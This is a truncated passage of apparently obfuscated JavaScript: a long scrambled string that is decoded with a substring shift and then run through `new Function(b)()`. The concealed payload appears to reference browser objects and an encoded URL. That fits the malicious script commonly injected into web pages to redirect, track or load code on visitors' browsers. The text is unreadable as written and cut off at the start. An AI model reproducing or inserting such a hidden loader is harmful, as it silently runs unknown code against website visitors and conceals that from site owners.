Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();